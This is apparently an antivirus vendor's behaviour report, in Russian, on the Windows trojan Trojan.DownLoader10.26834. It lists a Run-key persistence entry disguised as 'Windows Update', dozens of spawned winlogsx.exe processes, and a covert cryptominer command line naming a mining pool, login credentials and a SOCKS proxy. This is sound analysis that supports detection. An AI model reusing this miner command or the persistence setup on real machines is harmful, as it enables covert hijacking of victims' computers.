Trojan.DownLoader10.26834

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Windows Update' = '%APPDATA%\WinU\WinInstall.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\WinU\winlogsx.exe' /pid=5972
'%APPDATA%\WinU\winlogsx.exe' /pid=3456
'%APPDATA%\WinU\winlogsx.exe' /pid=5852
'%APPDATA%\WinU\winlogsx.exe' /pid=5696
'%APPDATA%\WinU\winlogsx.exe' /pid=4724
'%APPDATA%\WinU\winlogsx.exe' /pid=5864
'%APPDATA%\WinU\winlogsx.exe' /pid=2936
'%APPDATA%\WinU\winlogsx.exe' /pid=1728
'%APPDATA%\WinU\winlogsx.exe' /pid=2956
'%APPDATA%\WinU\winlogsx.exe' /pid=3416
'%APPDATA%\WinU\winlogsx.exe' /pid=2844
'%APPDATA%\WinU\winlogsx.exe' /pid=3516
'%APPDATA%\WinU\winlogsx.exe' /pid=4132
'%APPDATA%\WinU\winlogsx.exe' /pid=3788
'%APPDATA%\WinU\winlogsx.exe' /pid=4904
'%APPDATA%\WinU\winlogsx.exe' /pid=5404
'%APPDATA%\WinU\winlogsx.exe' /pid=3840
'%APPDATA%\WinU\winlogsx.exe' /pid=4108
'%APPDATA%\WinU\winlogsx.exe' /pid=4152
'%APPDATA%\WinU\winlogsx.exe' /pid=6052
'%APPDATA%\WinU\winlogsx.exe' /pid=4704
'%APPDATA%\WinU\winlogsx.exe' /pid=5644
'%APPDATA%\WinU\winlogsx.exe' /pid=5636
'%APPDATA%\WinU\winlogsx.exe' /pid=6072
'%APPDATA%\WinU\winlogsx.exe' /pid=4444
'%APPDATA%\WinU\winlogsx.exe' /pid=5732
'%APPDATA%\WinU\winlogsx.exe' /pid=5964
'%APPDATA%\WinU\winlogsx.exe' /pid=2568
'%APPDATA%\WinU\winlogsx.exe' /pid=4684
'%APPDATA%\WinU\winlogsx.exe' /pid=5524
'%APPDATA%\WinU\winlogsx.exe' /pid=5196
'%APPDATA%\WinU\winlogsx.exe' /pid=5264
'%APPDATA%\WinU\winlogsx.exe' /pid=5076
'%APPDATA%\WinU\winlogsx.exe' /pid=4020
'%APPDATA%\WinU\winlogsx.exe' /pid=5204
'%APPDATA%\WinU\winlogsx.exe' /pid=4352
'%APPDATA%\WinU\winlogsx.exe' /pid=5004
'%APPDATA%\WinU\winlogsx.exe' /pid=4796
'%APPDATA%\WinU\winlogsx.exe' /pid=4252
'%APPDATA%\WinU\winlogsx.exe' /pid=3336
'%APPDATA%\WinU\winlogsx.exe' /pid=4476
'%APPDATA%\WinU\winlogsx.exe' /pid=3304
'%APPDATA%\WinU\winlogsx.exe' /pid=4976
'%APPDATA%\WinU\winlogsx.exe' /pid=2812
'%APPDATA%\WinU\winlogsx.exe' /pid=5176
'%APPDATA%\WinU\winlogsx.exe' /pid=4040
'%APPDATA%\WinU\winlogsx.exe' /pid=4656
'%APPDATA%\WinU\winlogsx.exe' /pid=4756
'%APPDATA%\WinU\winlogsx.exe' -a sha256 -o http://He##############5:Gr33nl4nd@stratum.triplemining.com:3334 -T 83 -l yes -x socks=77.173.87.60:3334 -t 0
'%APPDATA%\WinU\winlogsx.exe' /pid=4644
'%APPDATA%\WinU\winlogsx.exe' /pid=5096
'%APPDATA%\WinU\winlogsx.exe' /pid=4340
'%APPDATA%\WinU\winlogsx.exe' /pid=3536
'%APPDATA%\WinU\winlogsx.exe' /pid=5276
'%APPDATA%\WinU\winlogsx.exe' /pid=5616
'%APPDATA%\WinU\winlogsx.exe' /pid=3960
'%APPDATA%\WinU\winlogsx.exe' /pid=2744
'%APPDATA%\WinU\winlogsx.exe' /pid=3136
'%APPDATA%\WinU\winlogsx.exe' /pid=4160
'%APPDATA%\WinU\winlogsx.exe' /pid=3888
'%APPDATA%\WinU\winlogsx.exe' /pid=4140
'%APPDATA%\WinU\winlogsx.exe' /pid=3116
'%APPDATA%\WinU\winlogsx.exe' /pid=4924
'%APPDATA%\WinU\winlogsx.exe' /pid=4844
'%APPDATA%\WinU\winlogsx.exe' /pid=5752
'%APPDATA%\WinU\winlogsx.exe' /pid=4360
'%APPDATA%\WinU\winlogsx.exe' /pid=5256
'%APPDATA%\WinU\winlogsx.exe' /pid=5664
'%APPDATA%\WinU\winlogsx.exe' /pid=4260
'%APPDATA%\WinU\winlogsx.exe' /pid=5984
'%APPDATA%\WinU\winlogsx.exe' /pid=6064
'%APPDATA%\WinU\winlogsx.exe' /pid=3236
'%APPDATA%\WinU\winlogsx.exe' /pid=5764
'%APPDATA%\WinU\winlogsx.exe' (загружен из сети Интернет)